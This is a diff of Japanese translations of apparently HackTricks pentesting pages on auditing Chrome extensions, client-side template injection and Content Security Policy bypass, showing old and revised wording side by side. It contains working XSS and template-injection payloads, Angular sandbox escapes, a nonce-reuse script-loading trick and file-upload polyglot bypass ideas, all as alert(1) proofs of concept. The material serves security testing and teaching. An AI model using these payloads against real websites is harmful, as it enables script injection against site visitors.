ローカルにインストールされたChrome拡張機能も検査できます。方法は以下の通りです:
|
ローカルにインストールされたChrome拡張機能も検査できます。方法は以下の通りです:
|
||||||
|
|
||||||
1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけて、Chromeのローカルプロファイルディレクトリに移動します。
|
1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけてChromeのローカルプロファイルディレクトリに移動します。
|
||||||
2. プロファイルディレクトリ内の`Extensions/`サブフォルダに移動します。
|
2. プロファイルディレクトリ内の`Extensions/`サブフォルダに移動します。
|
||||||
3. このフォルダには、通常は読みやすい形式のソースコードを持つすべてのインストールされた拡張機能が含まれています。
|
3. このフォルダにはすべてのインストールされた拡張機能が含まれており、通常は読みやすい形式のソースコードがあります。
|
||||||
|
|
||||||
拡張機能を特定するには、IDを名前にマッピングできます:
|
拡張機能を特定するには、IDを名前にマッピングできます:
|
||||||
|
|
||||||
- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを確認します。
|
- `about:extensions`ページでデベロッパーモードを有効にして、各拡張機能のIDを確認します。
|
||||||
- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドが含まれています。
|
- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドがあります。
|
||||||
|
|
||||||
### ファイルアーカイバまたはアンパッカーを使用する
|
### ファイルアーカイバまたはアンパッカーを使用する
|
||||||
|
|
||||||
Chrome Web Storeにアクセスして拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバ(WinRAR、7-Zipなど)を使用してZIPファイルの内容を抽出します。
|
Chrome Web Storeに行き、拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバ(WinRAR、7-Zipなど)を使用してZIPファイルの内容を抽出します。
|
||||||
|
|
||||||
### Chromeで開発者モードを使用する
|
### Chromeでデベロッパーモードを使用する
|
||||||
|
|
||||||
Chromeを開き、`chrome://extensions/`に移動します。右上で「開発者モード」を有効にします。「解凍された拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および修正するのに便利です。
|
Chromeを開き、`chrome://extensions/`に移動します。右上で「デベロッパーモード」を有効にします。「解凍された拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および変更するのに便利です。
|
||||||
|
|
||||||
## Chrome拡張機能マニフェストデータセット
|
## Chrome拡張機能マニフェストデータセット
|
||||||
|
|
||||||
脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用して、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するには:
|
脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用し、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するには:
|
||||||
```bash
|
```bash
|
||||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||||
@ -640,16 +640,16 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
|
|
||||||
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
|
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
|
||||||
|
|
||||||
- [ ] **要求される** **`permissions`** を可能な限り制限する
|
- [ ] **要求される** **`permissions`** をできるだけ制限する
|
||||||
- [ ] **`host_permissions`** を可能な限り制限する
|
- [ ] **`host_permissions`** をできるだけ制限する
|
||||||
- [ ] **強力な** **`content_security_policy`** を使用する
|
- [ ] **強力な** **`content_security_policy`** を使用する
|
||||||
- [ ] **`externally_connectable`** を可能な限り制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する
|
- [ ] **`externally_connectable`** をできるだけ制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する
|
||||||
- [ ] ここに**XSSまたは乗っ取りに脆弱なURL**が記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。
|
- [ ] ここに**XSSまたは乗っ取りに脆弱なURL**が記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。
|
||||||
- [ ] **`web_accessible_resources`** を可能な限り制限する。可能であれば空にする。
|
- [ ] **`web_accessible_resources`** をできるだけ制限する。可能であれば空にする。
|
||||||
- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する
|
- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する
|
||||||
- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。
|
- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。
|
||||||
- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。**
|
- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/index.html)**を確認する。**
|
||||||
- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**と**XSSを導入していないか**確認する
|
- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**ことで**XSSを導入していないか**確認する
|
||||||
- [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
|
- [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
|
||||||
- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する
|
- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する
|
||||||
- [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
|
- [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
|
||||||
@ -666,7 +666,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
|
|
||||||
- 提供されたChromeウェブストアリンクから任意のChrome拡張機能を取得します。
|
- 提供されたChromeウェブストアリンクから任意のChrome拡張機能を取得します。
|
||||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**:拡張機能のマニフェストのJSON整形バージョンを表示します。
|
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**:拡張機能のマニフェストのJSON整形バージョンを表示します。
|
||||||
- **フィンガープリンター分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
|
- **フィンガープリンタ分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
|
||||||
- **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
|
- **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
|
||||||
- **権限警告ビューワー**:ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。
|
- **権限警告ビューワー**:ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。
|
||||||
- **危険な関数**:攻撃者によって悪用される可能性のある危険な関数の場所を示します(例:innerHTML、chrome.tabs.executeScriptなど)。
|
- **危険な関数**:攻撃者によって悪用される可能性のある危険な関数の場所を示します(例:innerHTML、chrome.tabs.executeScriptなど)。
|
||||||
@ -677,19 +677,19 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
- コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
|
- コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
|
||||||
- アラートが発生したファイルのパス。
|
- アラートが発生したファイルのパス。
|
||||||
- アラートが発生したファイルの完全なChrome拡張機能URI。
|
- アラートが発生したファイルの完全なChrome拡張機能URI。
|
||||||
- それがどのようなファイルであるか(バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど)。
|
- それがどのタイプのファイルであるか(バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど)。
|
||||||
- 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。
|
- 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。
|
||||||
- **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
|
- **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
|
||||||
- **既知の脆弱なライブラリ**:これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
|
- **既知の脆弱なライブラリ**:これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
|
||||||
- 拡張機能とフォーマットされたバージョンをダウンロード。
|
- 拡張機能とフォーマットされたバージョンをダウンロード。
|
||||||
- 元の拡張機能をダウンロード。
|
- 元の拡張機能をダウンロード。
|
||||||
- 拡張機能の美化されたバージョンをダウンロード(自動整形されたHTMLとJavaScript)。
|
- 拡張機能の整形されたバージョンをダウンロード(自動整形されたHTMLとJavaScript)。
|
||||||
- スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。
|
- スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。
|
||||||
- リンク可能なレポートURL。簡単に他の人にTarnishによって生成された拡張機能レポートへのリンクを提供します。
|
- リンク可能なレポートURL。簡単に他の人にTarnishによって生成された拡張機能のレポートにリンクできます。
|
||||||
|
|
||||||
### [Neto](https://github.com/elevenpaths/neto)
|
### [Neto](https://github.com/elevenpaths/neto)
|
||||||
|
|
||||||
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
|
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダ、JavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 概要
|
## 概要
|
||||||
|
|
||||||
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)に似ていますが、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にするかもしれません。
|
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/index.html)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にします。
|
||||||
|
|
||||||
この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
|
この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
|
||||||
|
|
||||||
@ -49,7 +49,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea
|
|||||||
```
|
```
|
||||||
クレジット: [Mario Heiderich](https://twitter.com/cure53berlin)
|
クレジット: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||||
|
|
||||||
**さらに多くのVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
**他のVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||||
|
|
||||||
## Mavo
|
## Mavo
|
||||||
|
|
||||||
@ -67,7 +67,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||||||
<a href=[javascript&':alert(1)']>test</a>
|
<a href=[javascript&':alert(1)']>test</a>
|
||||||
[self.alert(1)mod1]
|
[self.alert(1)mod1]
|
||||||
```
|
```
|
||||||
**さらにペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
**さらに多くのペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||||
|
|
||||||
## **ブルートフォース検出リスト**
|
## **ブルートフォース検出リスト**
|
||||||
|
|
||||||
|
@ -1,14 +1,14 @@
|
|||||||
# コンテンツセキュリティポリシー (CSP) バイパス
|
# Content Security Policy (CSP) Bypass
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## CSPとは
|
## What is CSP
|
||||||
|
|
||||||
コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃から保護するためのブラウザ技術**として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含むことがあります。
|
Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) などの攻撃から保護することを目的としたブラウザ技術** として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScript などのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含むことがあります。
|
||||||
|
|
||||||
CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
|
CSP の実装は、**レスポンスヘッダー**を通じて、または **HTML ページにメタ要素を組み込むことによって** 行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
|
||||||
|
|
||||||
- レスポンスヘッダーを介して実装される:
|
- Implemented via response header:
|
||||||
```
|
```
|
||||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||||
```
|
```
|
||||||
@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||||||
CSPはこれらのヘッダーを使用して強制または監視できます:
|
CSPはこれらのヘッダーを使用して強制または監視できます:
|
||||||
|
|
||||||
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
|
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
|
||||||
- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
|
- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
|
||||||
|
|
||||||
### リソースの定義
|
### リソースの定義
|
||||||
|
|
||||||
@ -37,14 +37,14 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||||||
media-src https://videos.cdn.mozilla.net;
|
media-src https://videos.cdn.mozilla.net;
|
||||||
object-src 'none';
|
object-src 'none';
|
||||||
```
|
```
|
||||||
### 指令
|
### ディレクティブ
|
||||||
|
|
||||||
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
- **script-src**: JavaScriptの特定のソースを許可します。これにはURL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
||||||
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
|
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
|
||||||
- **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
|
- **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
|
||||||
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
|
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
|
||||||
- **frame-src**: フレームのためのURLを制限します。
|
- **frame-src**: フレームのためのURLを制限します。
|
||||||
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`のような要素に適用されます。
|
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`のような要素に適用されます。
|
||||||
- **img-src**: 画像のために許可されたソースを定義します。
|
- **img-src**: 画像のために許可されたソースを定義します。
|
||||||
- **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
|
- **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
|
||||||
- **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
|
- **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
|
||||||
@ -62,15 +62,15 @@ object-src 'none';
|
|||||||
|
|
||||||
### ソース
|
### ソース
|
||||||
|
|
||||||
- `*`: `data:`, `blob:`, `filesystem:`スキームを除くすべてのURLを許可します。
|
- `*`: `data:`、`blob:`、`filesystem:`スキームを除くすべてのURLを許可します。
|
||||||
- `'self'`: 同じドメインからの読み込みを許可します。
|
- `'self'`: 同じドメインからの読み込みを許可します。
|
||||||
- `'data'`: データスキーム(例:Base64エンコードされた画像)を介してリソースを読み込むことを許可します。
|
- `'data'`: データスキーム(例:Base64エンコードされた画像)を介してリソースを読み込むことを許可します。
|
||||||
- `'none'`: どのソースからの読み込みもブロックします。
|
- `'none'`: どのソースからの読み込みもブロックします。
|
||||||
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||||
- `'unsafe-hashes'`: 特定のインラインイベントハンドラーを有効にします。
|
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
|
||||||
- `'unsafe-inline'`: インライン`<script>`や`<style>`のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
- `'unsafe-inline'`: インラインリソース(インライン`<script>`や`<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||||
- `'nonce'`: 暗号的なノンス(1回限り使用される番号)を使用した特定のインラインスクリプトのホワイトリストです。
|
- `'nonce'`: 暗号的なノンス(1回使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。
|
||||||
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。次のように:
|
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@ -90,7 +90,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
|
|
||||||
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
|
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
|
||||||
- `'strict-dynamic'`: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
|
- `'strict-dynamic'`: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
|
||||||
- `'host'`: `example.com`のような特定のホストを指定します。
|
- `'host'`: `example.com`のように特定のホストを指定します。
|
||||||
- `https:`: HTTPSを使用するURLに制限します。
|
- `https:`: HTTPSを使用するURLに制限します。
|
||||||
- `blob:`: Blob URL(例:JavaScriptを介して作成されたBlob URL)からリソースを読み込むことを許可します。
|
- `blob:`: Blob URL(例:JavaScriptを介して作成されたBlob URL)からリソースを読み込むことを許可します。
|
||||||
- `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
|
- `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
|
||||||
@ -105,9 +105,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||||
```
|
```
|
||||||
動作するペイロード: `"/><script>alert(1);</script>`
|
Working payload: `"/><script>alert(1);</script>`
|
||||||
|
|
||||||
#### Iframesを介したself + 'unsafe-inline'
|
#### self + 'unsafe-inline' via Iframes
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||||||
```
|
```
|
||||||
### strict-dynamic
|
### strict-dynamic
|
||||||
|
|
||||||
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを含む新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行を許可される**。
|
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを使って新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。
|
||||||
|
|
||||||
### Wildcard (\*)
|
### Wildcard (\*)
|
||||||
```yaml
|
```yaml
|
||||||
@ -139,7 +139,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
|||||||
```
|
```
|
||||||
### object-src と default-src の欠如
|
### object-src と default-src の欠如
|
||||||
|
|
||||||
> [!CAUTION] > **これはもはや機能していないようです**
|
> [!CAUTION] > **これがもう機能していないようです**
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' ;
|
Content-Security-Policy: script-src 'self' ;
|
||||||
```
|
```
|
||||||
@ -153,7 +153,7 @@ Content-Security-Policy: script-src 'self' ;
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||||
```
|
```
|
||||||
JSファイルをアップロードできる場合、このCSPをバイパスできます:
|
もしJSファイルをアップロードできる場合、このCSPをバイパスできます:
|
||||||
|
|
||||||
動作するペイロード:
|
動作するペイロード:
|
||||||
```markup
|
```markup
|
||||||
@ -161,9 +161,9 @@ JSファイルをアップロードできる場合、このCSPをバイパスで
|
|||||||
```
|
```
|
||||||
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
|
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
|
||||||
|
|
||||||
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを**実行することを拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を**知らないため、audio/\***のような**MIMEタイプで提供しません**。
|
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めて**アップロードできたとしても(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを実行することを**拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。
|
||||||
|
|
||||||
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
||||||
|
|
||||||
### フォームアクション
|
### フォームアクション
|
||||||
|
|
||||||
@ -172,11 +172,11 @@ JSを注入することが不可能な場合でも、例えば資格情報を**
|
|||||||
### サードパーティエンドポイント + ('unsafe-eval')
|
### サードパーティエンドポイント + ('unsafe-eval')
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合もあります。
|
> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合すらあります。
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
脆弱なバージョンのAngularをロードし、任意のJSを実行します:
|
脆弱なバージョンのangularをロードし、任意のJSを実行します:
|
||||||
```xml
|
```xml
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||||
@ -274,7 +274,7 @@ script.google.com内のページで情報を受け取るためにGoogle Apps Scr
|
|||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
